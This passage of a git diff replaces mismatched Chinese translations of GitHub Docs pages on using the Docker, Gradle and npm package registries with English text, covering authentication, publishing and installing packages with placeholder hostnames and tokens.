替换为构建时的包版本，{% ifversion ghes or ghae %}将 *HOSTNAME* 替换为 {% data variables.product.product_location %} 的主机名，{% endif %}将 *PATH* 替换为映像路径（如果映像未在当前工作目录中）。 +3. If you haven't already built a docker image for the package, build the image, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image, *VERSION* with package version at build time,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.product.product_location %},{% endif %} and *PATH* to the image if it isn't in the current working directory. {% ifversion fpt or ghec %} ```shell $ docker build -t docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH ``` {% else %} {% ifversion ghes %} - 有关创建包的更多信息，请参阅 [maven.apache.org 文档](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)。 + If your instance has subdomain isolation enabled: {% endif %} ```shell $ docker build -t docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH ``` {% ifversion ghes %} - 例如，*OctodogApp* 和 *OctocatApp* 项目将发布到同一个仓库： + If your instance has subdomain isolation disabled: ```shell $ docker build -t HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH ``` {% endif %} {% endif %} -4. 将映像发布到 {% data variables.product.prodname_registry %}。 +4. Publish the image to {% data variables.product.prodname_registry %}. {% ifversion fpt or ghec %} ```shell $ docker push docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% else %} {% ifversion ghes %} - 有关创建包的更多信息，请参阅 [maven.apache.org 文档](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)。 + If your instance has subdomain isolation enabled: {% endif %} ```shell $ docker push docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% ifversion ghes %} - 例如，*OctodogApp* 和 *OctocatApp* 项目将发布到同一个仓库： + If your instance has subdomain isolation disabled: ```shell $ docker push HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` @@ -163,17 +163,17 @@ To use this example login command, replace `USERNAME` with your {% data variable {% endif %} {% note %} - **注：**必须使用 `IMAGE_NAME:VERSION` 推送映像，而不能使用 `IMAGE_NAME:SHA`。 + **Note:** You must push your image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. {% endnote %} -### 发布 Docker 映像的示例 +### Example publishing a Docker image {% ifversion ghes %} -这些示例假设您的实例已启用子域隔离。 +These examples assume your instance has subdomain isolation enabled. {% endif %} -您可以使用映像 ID 将 `monalisa` 映像的 1.0 版本发布到 `octocat/octo-app` 仓库。 +You can publish version 1.0 of the `monalisa` image to the `octocat/octo-app` repository using an image ID. {% ifversion fpt or ghec %} ```shell @@ -206,7 +206,7 @@ $ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 {% endif %} -您可能首次发布新的 Docker 映像并将其命名为 `monalisa`。 +You can publish a new Docker image for the first time and name it `monalisa`. {% ifversion fpt or ghec %} ```shell @@ -229,11 +229,11 @@ $ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 ``` {% endif %} -## 下载映像 +## Downloading an image {% data reusables.package_registry.docker_registry_deprecation_status %} -您可以使用 `docker pull` 命令从 {% data variables.product.prodname_registry %} 安装 Docker 映像，将 *OWNER* 替换为拥有仓库的用户或组织帐户的名称，将 *REPOSITORY* 替换为包含项目的仓库的名称，将 *IMAGE_NAME* 替换为包或映像的名称，{% ifversion ghes or ghae %}将*HOSTNAME* 替换为 {% data variables.product.product_location %} 的名称，{% endif %}将 *TAG_NAME* 替换为要安装的映像的标记。 +You can use the `docker pull` command to install a docker image from {% data variables.product.prodname_registry %}, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image,{% ifversion ghes or ghae %} *HOSTNAME* with the host name of {% data variables.product.product_location %}, {% endif %} and *TAG_NAME* with tag for the image you want to install. {% ifversion fpt or ghec %} ```shell @@ -242,13 +242,13 @@ $ docker pull docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME {% ifversion ghes %} -有关创建包的更多信息，请参阅 [maven.apache.org 文档](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)。 +If your instance has subdomain isolation enabled: {% endif %} ```shell $ docker pull docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME ``` {% ifversion ghes %} -例如，*OctodogApp* 和 *OctocatApp* 项目将发布到同一个仓库： +If your instance has subdomain isolation disabled: ```shell $ docker pull HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME ``` @@ -257,12 +257,12 @@ $ docker pull HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME {% note %} -**注：**必须使用 `IMAGE_NAME:VERSION` 推送映像，而不能使用 `IMAGE_NAME:SHA`。 +**Note:** You must pull the image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. {% endnote %} -## 延伸阅读 +## Further reading -- "{% ifversion fpt or ghes > 3.0 or ghec %}[删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[删除包](/packages/learn-github-packages/deleting-a-package){% endif %}" +- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" {% endif %} diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md index dcfbbf4981..92f12983f8 100644 --- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md +++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md @@ -1,6 +1,6 @@ --- -title: 使用 Gradle 注册表 -intro: '您可以配置 Gradle 以将包发布到 {% data variables.product.prodname_registry %} Gradle 注册表并将存储在 {% data variables.product.prodname_registry %} 上的包用作 Java 项目中的依赖项。' +title: Working with the Gradle registry +intro: 'You can configure Gradle to publish packages to the {% data variables.product.prodname_registry %} Gradle registry and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-gradle-for-use-with-github-package-registry @@ -13,41 +13,41 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Gradle 注册表 +shortTitle: Gradle registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -**注：**安装或发布 Docker 映像时，{% data variables.product.prodname_registry %} 当前不支持外部图层，如 Windows 映像。 +{% data reusables.package_registry.admins-can-configure-package-types %} -## 向 {% data variables.product.prodname_registry %} 验证 +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} -{% data reusables.package_registry.authenticate-packages-github-token %} 有关将 `GITHUB_TOKEN` 用于 Gradle 的更多信息，请参阅“[使用 Gradle 发布 Java 包](/actions/guides/publishing-java-packages-with-gradle#publishing-packages-to-github-packages)”。 +{% data reusables.package_registry.authenticate-packages-github-token %} For more information about using `GITHUB_TOKEN` with Gradle, see "[Publishing Java packages with Gradle](/actions/guides/publishing-java-packages-with-gradle#publishing-packages-to-github-packages)." -### 使用个人访问令牌进行身份验证 +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -您可以使用 Gradle Groovy 或 Kotlin DSL，通过 Gradle 向 {% data variables.product.prodname_registry %} 验证，方法是编辑 *build.gradle* 文件 (Gradle Groovy) 或 *build.gradle.kts* 文件 (Kotlin DSL) 以包含您的个人访问令牌。 您还可以配置 Gradle Groovy 和 Kotlin DSL 以识别仓库中的一个或多个包。 +You can authenticate to {% data variables.product.prodname_registry %} with Gradle using either Gradle Groovy or Kotlin DSL by editing your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file to include your personal access token. You can also configure Gradle Groovy and Kotlin DSL to recognize a single package or multiple packages in a repository. {% ifversion ghes %} -将 *REGISTRY-URL* 替换为您实例的 Maven 注册表的 URL。 如果您的实例启用了子域隔离，请使用 `maven.HOSTNAME`。 如果您的实例禁用了子域隔离，请使用 `HOSTNAME/_registry/maven`。 在任一情况下，都将 *HOSTNAME* 替换为 {% data variables.product.prodname_ghe_server %} 实例的主机名。 +Replace *REGISTRY-URL* with the URL for your instance's Maven registry. If your instance has subdomain isolation enabled, use `maven.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/maven`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance. {% elsif ghae %} -将 *REGISTRY-URL* 替换为企业的 Maven 注册表 `maven.HOSTNAME` 的 URI。 将 *HOSTNAME* 替换为 {% data variables.product.product_location %} 的主机名。 +Replace *REGISTRY-URL* with the URL for your enterprise's Maven registry, `maven.HOSTNAME`. Replace *HOSTNAME* with the host name of {% data variables.product.product_location %}. {% endif %} -将 *USERNAME* 替换为您的 {% data variables.product.prodname_dotcom %} 用户名，将 *TOKEN* 替换为您的个人访问令牌，将 *REPOSITORY* 替换为要发布的包所在仓库的名称，将 *OWNER* 替换为 {% data variables.product.prodname_dotcom %} 上拥有该仓库的用户或组织帐户的名称。 由于不支持大写字母，因此，即使您的 {% data variables.product.prodname_dotcom %} 用户或组织名称中包含大写字母，也必须对仓库所有者使用小写字母。 +Replace *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your personal access token, *REPOSITORY* with the name of the repository containing the package you want to publish, and *OWNER* with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. {% note %} -**注：**{% data reusables.package_registry.apache-maven-snapshot-versions-supported %} 关于示例，请参阅“[配置 Apache Maven 用于 {% data variables.product.prodname_registry %}](/packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages)”。 +**Note:** {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} For an example, see "[Configuring Apache Maven for use with {% data variables.product.prodname_registry %}](/packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages)." {% endnote %} -#### 将 Gradle Groovy 用于一个仓库中单个包的示例 +#### Example using Gradle Groovy for a single package in a repository ```shell plugins { @@ -72,7 +72,7 @@ publishing { } ``` -#### 将 Gradle Groovy 用于同一个仓库中多个包的示例 +#### Example using Gradle Groovy for multiple packages in the same repository ```shell plugins { @@ -100,7 +100,7 @@ subprojects { } ``` -#### 将 Kotlin DSL 用于同一个仓库中单个包的示例 +#### Example using Kotlin DSL for a single package in the same repository ```shell plugins { @@ -125,7 +125,7 @@ publishing { } ``` -#### 将 Kotlin DSL 用于同一个仓库中多个包的示例 +#### Example using Kotlin DSL for multiple packages in the same repository ```shell plugins { @@ -153,42 +153,42 @@ subprojects { } ``` -## 发布包 +## Publishing a package -{% data reusables.package_registry.default-name %} 例如，{% data variables.product.prodname_dotcom %} 将名为 `com.example.test` 的包发布到 `OWNER/test` {% data variables.product.prodname_registry %} 仓库中。 +{% data reusables.package_registry.default-name %} For example, {% data variables.product.prodname_dotcom %} will publish a package named `com.example.test` in the `OWNER/test` {% data variables.product.prodname_registry %} repository. {% data reusables.package_registry.viewing-packages %} {% data reusables.package_registry.authenticate-step %} -2. 创建包后，您可以发布包。 +2. After creating your package, you can publish the package. ```shell $ gradle publish ``` -## 使用已发布的包 +## Using a published package -要使用 {% data variables.product.prodname_registry %} 发布的软件包，请将包添加为依赖项，并将仓库添加到项目。 更多信息请参阅 Gradle 文档中的“[声明依赖项](https://docs.gradle.org/current/userguide/declaring_dependencies.html)”。 +To use a published package from {% data variables.product.prodname_registry %}, add the package as a dependency and add the repository to your project. For more information, see "[Declaring dependencies](https://docs.gradle.org/current/userguide/declaring_dependencies.html)" in the Gradle documentation. {% data reusables.package_registry.authenticate-step %} -2. 将包依赖项添加到您的 *build.gradle* 文件 (Gradle Groovy) 或 *build.gradle.kts* 文件 (Kotlin DSL)。 +2. Add the package dependencies to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file. - 使用 Gradle Groovy 的示例： + Example using Gradle Groovy: ```shell dependencies { implementation 'com.example:package' } ``` - 使用 Kotlin DSL 的示例： + Example using Kotlin DSL: ```shell dependencies { implementation("com.example:package") } ``` -3. 将仓库添加到您的 *build.gradle* 文件 (Gradle Groovy) 或 *build.gradle.kts* 文件 (Kotlin DSL)。 +3. Add the repository to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file. - 使用 Gradle Groovy 的示例： + Example using Gradle Groovy: ```shell repositories { maven { @@ -200,7 +200,7 @@ subprojects { } } ``` - 使用 Kotlin DSL 的示例： + Example using Kotlin DSL: ```shell repositories { maven { @@ -213,7 +213,7 @@ subprojects { } ``` -## 延伸阅读 +## Further reading -- “[使用 Apache Maven 注册表](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry)” -- "{% ifversion fpt or ghes > 3.0 or ghec %}[删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[删除包](/packages/learn-github-packages/deleting-a-package){% endif %}" +- "[Working with the Apache Maven registry](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry)" +- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md index 31daa19f8a..6f606db0cb 100644 --- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md +++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md @@ -1,6 +1,6 @@ --- -title: 使用 npm 注册表 -intro: '您可以配置 npm 以将包发布到 {% data variables.product.prodname_registry %} 并将存储在 {% data variables.product.prodname_registry %} 上的包用作 npm 项目中的依赖项。' +title: Working with the npm registry +intro: 'You can configure npm to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in an npm project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-npm-for-use-with-github-package-registry @@ -13,38 +13,38 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: npm 注册表 +shortTitle: npm registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -**注：**安装或发布 Docker 映像时，{% data variables.product.prodname_registry %} 当前不支持外部图层，如 Windows 映像。 +{% data reusables.package_registry.admins-can-configure-package-types %} -## 已发布 npm 版本的限制 +## Limits for published npm versions -如果您发布超过 1,000npm 软件包版本到 {% data variables.product.prodname_registry %}，在使用过程中可能会出现性能问题和超时。 +If you publish over 1,000 npm package versions to {% data variables.product.prodname_registry %}, you may see performance issues and timeouts occur during usage. -将来，为了提高服务的性能，您将无法在 {% data variables.product.prodname_dotcom %} 上发布超过 1，000 个版本的包。 在达到此限制之前发布的任何版本仍将是可读的。 +In the future, to improve performance of the service, you won't be able to publish more than 1,000 versions of a package on {% data variables.product.prodname_dotcom %}. Any versions published before hitting this limit will still be readable. -如果达到此限制，请考虑删除包版本或联系支持人员寻求帮助。 实施此限制后，我们的文档将就此限制进行更新。 更多信息请参阅“{% ifversion fpt or ghes > 3.0 or ghec %}[删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[删除包](/packages/learn-github-packages/deleting-a-package){% endif %}”或“[联系支持](/packages/learn-github-packages/about-github-packages#contacting-support)”。 +If you reach this limit, consider deleting package versions or contact Support for help. When this limit is enforced, our documentation will be updated with a way to work around this limit. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" or "[Contacting Support](/packages/learn-github-packages/about-github-packages#contacting-support)." -## 向 {% data variables.product.prodname_registry %} 验证 +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### 使用个人访问令牌进行身份验证 +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -通过编辑您的每用户 *~/.npmrc* 文件以包含个人访问令牌，或者在命令行上使用用户名和个人访问令牌登录 npm，您可以使用 npm 向 {% data variables.product.prodname_registry %} 验证。 +You can authenticate to {% data variables.product.prodname_registry %} with npm by either editing your per-user *~/.npmrc* file to include your personal access token or by logging in to npm on the command line using your username and personal access token. -要通过将个人访问令牌添加到 *~/.npmrc* 文件进行身份验证，请编辑项目的 *~/.npmrc* 文件以包含以下行，将 {% ifversion ghes or ghae %}*HOSTNAME* 替换为 {% data variables.product.product_location %} 的主机名，并将 {% endif %}*TOKEN* 替换为您的个人访问令牌。 如果 *~/.npmrc* 文件不存在，请新建该文件。 +To authenticate by adding your personal access token to your *~/.npmrc* file, edit the *~/.npmrc* file for your project to include the following line, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %} and {% endif %}*TOKEN* with your personal access token. Create a new *~/.npmrc* file if one doesn't exist. {% ifversion ghes %} -有关创建包的更多信息，请参阅 [maven.apache.org 文档](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)。 +If your instance has subdomain isolation enabled: {% endif %} ```shell @@ -52,22 +52,19 @@ shortTitle: npm 注册表 ``` {% ifversion ghes %} -例如，*OctodogApp* 和 *OctocatApp* 项目将发布到同一个仓库： +If your instance has subdomain isolation disabled: ```shell -$ npm login --registry=https://npm.pkg.github.com -> Username: USERNAME -> Password: TOKEN -> Email: PUBLIC-EMAIL-ADDRESS +//HOSTNAME/_registry/npm/:_authToken=TOKEN ``` {% endif %} -要通过登录到 npm 进行身份验证，请使用 `npm login` 命令，将 *USERNAME* 替换为您的 {% data variables.product.prodname_dotcom %} 用户名，将 *TOKEN* 替换为您的个人访问令牌，将 *PUBLIC-EMAIL-ADDRESS* 替换为您的电子邮件地址。 +To authenticate by logging in to npm, use the `npm login` command, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your personal access token, and *PUBLIC-EMAIL-ADDRESS* with your email address. -如果 {% data variables.product.prodname_registry %} 不是使用 npm 的默认包注册表，并且您要使用 `npm audit` 命令，我们建议您在对 {% data variables.product.prodname_registry %} 进行身份验证时，将 `--scope` 标志与包的所有者一起使用。 +If {% data variables.product.prodname_registry %} is not your default package registry for using npm and you want to use the `npm audit` command, we recommend you use the `--scope` flag with the owner of the package when you authenticate to {% data variables.product.prodname_registry %}. {% ifversion ghes %} -有关创建包的更多信息，请参阅 [maven.apache.org 文档](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)。 +If your instance has subdomain isolation enabled: {% endif %} ```shell @@ -79,7 +76,7 @@ $ npm login --scope=@OWNER --registry=https://{% ifversion fpt or ghec ``` {% ifversion ghes %} -例如，*OctodogApp* 和 *OctocatApp* 项目将发布到同一个仓库： +If your instance has subdomain isolation disabled: ```shell $ npm login --scope=@OWNER --registry=https://HOSTNAME/_registry/npm/ @@ -89,40 +86,40 @@ $ npm login --scope=@OWNER --registry=https://HOSTNAME/_regist ``` {% endif %} -## 发布包 +## Publishing a package {% note %} -**注：**包名称和作用域只能使用小写字母。 +**Note:** Package names and scopes must only use lowercase letters. {% endnote %} -默认情况下，{% data variables.product.prodname_registry %} 将包发布到您在 *package.json* 文件的名称字段中指定的 {% data variables.product.prodname_dotcom %} 仓库。 例如，您要发布一个名为 `@my-org/test` 的包到 `my-org/test` {% data variables.product.prodname_dotcom %} 仓库。 通过在包目录中包含 *README.md* 文件，您可以添加包列表页面的摘要。 更多信息请参阅 npm 文档中的“[使用 package.json](https://docs.npmjs.com/getting-started/using-a-package.json)”和“[如何创建 Node.js 模块](https://docs.npmjs.com/getting-started/creating-node-modules)”。 +By default, {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the name field of the *package.json* file. For example, you would publish a package named `@my-org/test` to the `my-org/test` {% data variables.product.prodname_dotcom %} repository. You can add a summary for the package listing page by including a *README.md* file in your package directory. For more information, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" and "[How to create Node.js Modules](https://docs.npmjs.com/getting-started/creating-node-modules)" in the npm documentation. -通过在 *package.json* 文件中包含 `URL` 字段，您可以将多个包发布到同一个 {% data variables.product.prodname_dotcom %} 仓库。 更多信息请参阅“[将多个包发布到同一个仓库](#publishing-multiple-packages-to-the-same-repository)”。 +You can publish multiple packages to the same {% data variables.product.prodname_dotcom %} repository by including a `URL` field in the *package.json* file. For more information, see "[Publishing multiple packages to the same repository](#publishing-multiple-packages-to-the-same-repository)." -您可以使用项目中的本地 *.npmrc* 文件或使用 *package.json* 中的 `publishConfig` 选项来设置项目的作用域映射。 {% data variables.product.prodname_registry %} 只支持作用域内的 npm 包。 作用域内的包具有名称格式 `@owner/name`。 作用域内的包总是以 `@` 符号开头。 您可能需要更新 *package.json* 中的名称以使用作用域内的名称。 例如，`"name": "@codertocat/hello-world-npm"`。 +You can set up the scope mapping for your project using either a local *.npmrc* file in the project or using the `publishConfig` option in the *package.json*. {% data variables.product.prodname_registry %} only supports scoped npm packages. Scoped packages have names with the format of `@owner/name`. Scoped packages always begin with an `@` symbol. You may need to update the name in your *package.json* to use the scoped name. For example, `"name": "@codertocat/hello-world-npm"`. {% data reusables.package_registry.viewing-packages %} -### 使用本地 *.npmrc* 文件发布包 +### Publishing a package using a local *.npmrc* file -您可以使用 *.npmrc* 文件来配置项目的作用域映射。 在 *.npmrc* 文件中，使用 {% data variables.product.prodname_registry %} URL 和帐户所有者，使 account owner so {% data variables.product.prodname_registry %} 知道将包请求路由到何处。 使用 *.npmrc* 文件防止其他开发者意外地将包发布到 npmjs.org 而不是 {% data variables.product.prodname_registry %}。 +You can use an *.npmrc* file to configure the scope mapping for your project. In the *.npmrc* file, use the {% data variables.product.prodname_registry %} URL and account owner so {% data variables.product.prodname_registry %} knows where to route package requests. Using an *.npmrc* file prevents other developers from accidentally publishing the package to npmjs.org instead of {% data variables.product.prodname_registry %}. {% data reusables.package_registry.authenticate-step %} {% data reusables.package_registry.create-npmrc-owner-step %} {% data reusables.package_registry.add-npmrc-to-repo-step %} -1. 验证项目的 *package.json* 中包的名称。 `name` 字段必须包含包的作用域和名称。 例如，如果您的包名为 "test"，并且要发布到 "My-org" {% data variables.product.prodname_dotcom %} 组织，则 *package.json* 中的 `name` 字段应为 `@my-org/test`。 +1. Verify the name of your package in your project's *package.json*. The `name` field must contain the scope and the name of the package. For example, if your package is called "test", and you are publishing to the "My-org" {% data variables.product.prodname_dotcom %} organization, the `name` field in your *package.json* should be `@my-org/test`. {% data reusables.package_registry.verify_repository_field %} {% data reusables.package_registry.publish_package %} -### 使用 *package.json* 文件中的 `publishConfig` 发布包 +### Publishing a package using `publishConfig` in the *package.json* file -您可以使用 *package.json* 文件中的 `publishConfig` 元素来指定要发布包的注册表。 更多信息请参阅 npm 文档中的“[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)”。 +You can use `publishConfig` element in the *package.json* file to specify the registry where you want the package published. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation. -1. 编辑包的 *package.json* 文件并包含 `publishConfig` 条目。 +1. Edit the *package.json* file for your package and include a `publishConfig` entry. {% ifversion ghes %} - 有关创建包的更多信息，请参阅 [maven.apache.org 文档](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)。 + If your instance has subdomain isolation enabled: {% endif %} ```shell "publishConfig": { @@ -130,7 +127,7 @@ $ npm login --scope=@OWNER --registry=https://HOSTNAME/_regist }, ``` {% ifversion ghes %} - 例如，*OctodogApp* 和 *OctocatApp* 项目将发布到同一个仓库： + If your instance has subdomain isolation disabled: ```shell "publishConfig": { "registry":"https://HOSTNAME/_registry/npm/" @@ -140,34 +137,34 @@ $ npm login --scope=@OWNER --registry=https://HOSTNAME/_regist {% data reusables.package_registry.verify_repository_field %} {% data reusables.package_registry.publish_package %} -## 将多个包发布到同一个仓库 +## Publishing multiple packages to the same repository -要将多个包发布到同一个仓库，您可以在每个包的 *package.json* 文件的 `repository` 字段中包含 {% data variables.product.prodname_dotcom %} 仓库的 URL。 +To publish multiple packages to the same repository, you can include the URL of the {% data variables.product.prodname_dotcom %} repository in the `repository` field of the *package.json* file for each package. -为确保仓库的 URL 正确，请将 REPOSITORY 替换为要发布的包所在仓库的名称，将 OWNER 替换为拥有该仓库的 {% data variables.product.prodname_dotcom %} 用户或组织帐户的名称。 +To ensure the repository's URL is correct, replace REPOSITORY with the name of the repository containing the package you want to publish, and OWNER with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository. -{% data variables.product.prodname_registry %} 将根据该 URL 匹配仓库，而不是根据包名称。 +{% data variables.product.prodname_registry %} will match the repository based on the URL, instead of based on the package name. ```shell "repository":"https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY", ``` -## 安装包 +## Installing a package -通过在项目的 *package.json* 文件中将包添加为依赖项，您可以从 {% data variables.product.prodname_registry %} 安装包。 有关在项目中使用 *package.json* 的更多信息，请参阅 npm 文档中的“[使用 package.json](https://docs.npmjs.com/getting-started/using-a-package.json)”。 +You can install packages from {% data variables.product.prodname_registry %} by adding the packages as dependencies in the *package.json* file for your project. For more information on using a *package.json* in your project, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" in the npm documentation. -默认情况下，您可以从一个组织添加包。 更多信息请参阅“[从其他组织安装包](#installing-packages-from-other-organizations)”。 +By default, you can add packages from one organization. For more information, see "[Installing packages from other organizations](#installing-packages-from-other-organizations)." -还需要将 *.npmrc* 文件添加到项目，使所有安装包的请求都会{% ifversion ghae %}传送到{% else %}通过{% endif %}{% data variables.product.prodname_registry %}。 {% ifversion fpt or ghes or ghec %}通过 {% data variables.product.prodname_registry %} 路由所有包请求时，您可以使用 *npmjs.org* 作用域内和作用域外的包。 更多信息请参阅 npm 文档中的“[npm 作用域](https://docs.npmjs.com/misc/scope)”。{% endif %} +You also need to add the *.npmrc* file to your project so that all requests to install packages will {% ifversion ghae %}be routed to{% else %}go through{% endif %} {% data variables.product.prodname_registry %}. {% ifversion fpt or ghes or ghec %}When you route all package requests through {% data variables.product.prodname_registry %}, you can use both scoped and unscoped packages from *npmjs.org*. For more information, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation.{% endif %} {% ifversion ghae %} -默认情况下，您只能使用企业托管的 npm 软件包，您将无法使用未涵盖范围的软件包。 有关包作用域的更多信息，请参阅 npm 文档中的“[npm 作用域](https://docs.npmjs.com/misc/scope)”。 如果需要，{% data variables.product.prodname_dotcom %} 支持可以启用 npmjs.org 的上游代理。 启用上游代理后，如果在企业中找不到请求的包，{% data variables.product.prodname_registry %} 会向 npmjs.org 提出代理请求。 +By default, you can only use npm packages hosted on your enterprise, and you will not be able to use unscoped packages. For more information on package scoping, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation. If required, {% data variables.product.prodname_dotcom %} support can enable an upstream proxy to npmjs.org. Once an upstream proxy is enabled, if a requested package isn't found on your enterprise, {% data variables.product.prodname_registry %} makes a proxy request to npmjs.org. {% endif %} {% data reusables.package_registry.authenticate-step %} {% data reusables.package_registry.create-npmrc-owner-step %} {% data reusables.package_registry.add-npmrc-to-repo-step %} -4. 配置项目中的 *package.json* 使用要安装的包。 要将包依赖项添加到 {% data variables.product.prodname_registry %} 的 *package.json* 文件，请指定完整的作用域内包名称，例如 `@my-org/server`。 对于来自 *npmjs.com* 的包，请指定全名，例如 `@babel/core` 或 `@lodash`。 例如，以下 *package.json* 将 `@octo-org/octo-app` 包用作依赖项。 +4. Configure *package.json* in your project to use the package you are installing. To add your package dependencies to the *package.json* file for {% data variables.product.prodname_registry %}, specify the full-scoped package name, such as `@my-org/server`. For packages from *npmjs.com*, specify the full name, such as `@babel/core` or `@lodash`. For example, this following *package.json* uses the `@octo-org/octo-app` package as a dependency. ```json { @@ -182,18 +179,18 @@ $ npm login --scope=@OWNER --registry=https://HOSTNAME/_regist } } ``` -5. 安装包。 +5. Install the package. ```shell $ npm install ``` -### 从其他组织安装包 +### Installing packages from other organizations -默认情况下，您只能使用来自一个组织的 {% data variables.product.prodname_registry %} 包。 如果想将包请求传送到多个组织和用户，您可以添加额外行到 *.npmrc* 文件，将 {% ifversion ghes or ghae %}*HOSTNAME* 替换为 {% data variables.product.product_location %} 实例的主机名，并{% endif %}将 *OWNER* 替换为拥有项目所在仓库的用户或组织帐户的名称。 +By default, you can only use {% data variables.product.prodname_registry %} packages from one organization. If you'd like to route package requests to multiple organizations and users, you can add additional lines to your *.npmrc* file, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %} and {% endif %}*OWNER* with the name of the user or organization account that owns the repository containing your project. {% ifversion ghes %} -有关创建包的更多信息，请参阅 [maven.apache.org 文档](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)。 +If your instance has subdomain isolation enabled: {% endif %} ```shell @@ -202,7 +199,7 @@ $ npm login --scope=@OWNER --registry=https://HOSTNAME/_regist ``` {% ifversion 